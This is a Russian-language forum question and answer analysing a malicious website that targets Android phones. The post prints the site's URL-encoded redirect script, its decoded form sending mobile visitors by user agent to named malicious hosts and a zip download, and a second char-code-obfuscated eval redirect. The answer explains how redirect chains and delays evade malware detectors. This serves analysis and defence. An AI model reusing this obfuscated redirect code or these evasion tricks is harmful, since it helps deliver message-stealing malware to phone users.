Почему сайт вредоносного вируса использует несколько переходов по ссылкам?
Недавно я обнаружил новый вид вредоносного сайта: он атакует только телефоны Android, выглядит нормально с ПК. И это успешно обошло все вредоносные программы-детекторы.
Чтобы увидеть, как это работает, взгляните на сайт: www.mfflag.com
В начале HTML, у него есть скрипт:
<script>
<!--
document.write(unescape("%3Cscript%20type%3D%22text/javascript%22%3E%0Avar%20browser%20%3D%20%7B%0Aversions%3A%20function%20%28%29%20%7B%0Avar%20u%20%3D%20navigator.userAgent%2C%20app%20%3D%20navigator.appVersion%3B%0Areturn%20%7B%20//%u79FB%u52A8%u7EC8%u7AEF%u6D4F%u89C8%u5668%u7248%u672C%u4FE1%u606F%20%0Aios%3A%20%21%21u.match%28/%5C%28i%5B%5E%3B%5D+%3B%28%20U%3B%29%3F%20CPU.+Mac%20OS%20X/%29%2C%20//ios%u7EC8%u7AEF%20%0Aandroid%3A%20u.indexOf%28%27Android%27%29%20%3E%20-1%20%7C%7C%20u.indexOf%28%27Linux%27%29%20%3E%20-1%2C%20//android%u7EC8%u7AEF%u6216uc%u6D4F%u89C8%u5668%20%0AiPhone%3A%20u.indexOf%28%27iPhone%27%29%20%3E%20-1%2C%20//%u662F%u5426%u4E3AiPhone%u6216%u8005QQHD%u6D4F%u89C8%u5668%20%0AiPad%3A%20u.indexOf%28%27iPad%27%29%20%3E%20-1%2C%20//%u662F%u5426iPad%20%0A%7D%3B%0A%7D%28%29%2C%0A%7D%0Aif%20%28browser.versions.iPhone%20%7C%7C%20browser.versions.iPad%20%7C%7C%20browser.versions.ios%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//9ifmz.polishingmedia.cn%3A9000/668899.html%22%3B%0A%7D%0Aif%20%28browser.versions.android%29%20%7B%0Awindow.location.href%20%3D%20%22http%3A//zm87i.gaoxiaopic.cn%3A8301/668899.zip%22%3B%0A%7D%0A%3C/script%3E"));
//-->
</script>
Это кодируется URL, после декодирования это выглядит так:
<script type="text/javascript">
var browser = {
versions: function () {
var u = navigator.userAgent, app = navigator.appVersion;
return { //
ios: !!u.match(/\(i[^;] ;( U;)? CPU. Mac OS X/), //ios
android: u.indexOf('Android') > -1 || u.indexOf('Linux') > -1, //android
iPhone: u.indexOf('iPhone') > -1, //
iPad: u.indexOf('iPad') > -1, //iPad
};
}(),
}
if (browser.versions.iPhone || browser.versions.iPad || browser.versions.ios) {
window.location.href = "http://9ifmz.polishingmedia.cn:9000/668899.html";
}
if (browser.versions.android) {
window.location.href = "http://zm87i.gaoxiaopic.cn:8301/668899.zip";
}
</script>
Таким образом, первый шаг - скачать zip для Android, и эта ссылка.zip доступна только в некоторых мобильных браузерах. После загрузки и распаковки, это также javascript:
<html><head><title>loading</title><script>var d = [119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,32,61,32,39,104,116,116,112,58,47,47,100,115,97,101,119,113,46,110,118,114,101,110,97,105,46,99,99,58,56,51,51,48,47,54,54,56,56,57,57,95,99,51,100,52,54,57,48,50,51,48,56,54,97,49,55,55,56,100,56,55,50,98,101,52,49,97,99,54,52,50,51,57,46,104,116,109,108,39]; var u = ''; for(var i = 0; i < d.length; i++){ u += String.fromCharCode(d[i]); }; eval(u); </script></head></html>
Это еще один прыжок после декодирования с вар, а затем на том месте, которое он пытается установить.apk файл на телефон, и показать некоторые порно видео.
АПК является вирусом и будет читать каждое ваше сообщение и отправлять на электронную почту, которую использует злоумышленник.
Вопрос, почему бы не прыгнуть прямо? Почему такого рода атака использует несколько переходов на финальный сайт?
И второе: почему все вредоносные программы не могут обнаружить такие угрозы? Это потому, что скрипт предназначен только для мобильных устройств, а детектор не использует этот тег агента?
1 ответ
Вопрос, почему бы не прыгнуть прямо? Почему такого рода атака использует несколько переходов на финальный сайт?
И второе: почему все вредоносные программы не могут обнаружить такие угрозы? Это потому, что скрипт предназначен только для мобильных устройств, а детектор не использует этот тег агента?
Использование нескольких перенаправлений делает анализ вручную скучным, с другой стороны, детектор вредоносных программ и детекторы вредоносной активности в большинстве случаев не анализируют темы, поскольку из-за нескольких перенаправлений их сервер или локальный механизм занят (они должны следовать перенаправлениям, чтобы достичь конечного пункта назначения) .
Авторы вредоносных программ используют некоторые функции ожидания или огромные математические вычисления (потому что некоторые алгоритмы обнаружения вредоносных программ обнаруживают простые функции ожидания или ожидания и нейтрализуют эти уловки) для случайного разрыва между перенаправлениями и делают перенаправления длительным процессом.
Должно быть, детекторы вредоносных программ не сканируют множественные перенаправления после (n) количества перенаправлений, потому что алгоритмы и механизмы самозащиты считают, что трудоемкая операция пытается заставить двигатель работать или останавливать его из-за переполнения стека и т. Д. Конечно, этот прием старый, но он все еще работает!
Это неограниченная игра, авторы вредоносных программ используют новые приемы и ежедневно становятся умнее, с другой стороны, детекторы вредоносных программ изучают эти приемы и улучшают свои алгоритмы и механизмы ИИ и пытаются предотвратить атаки.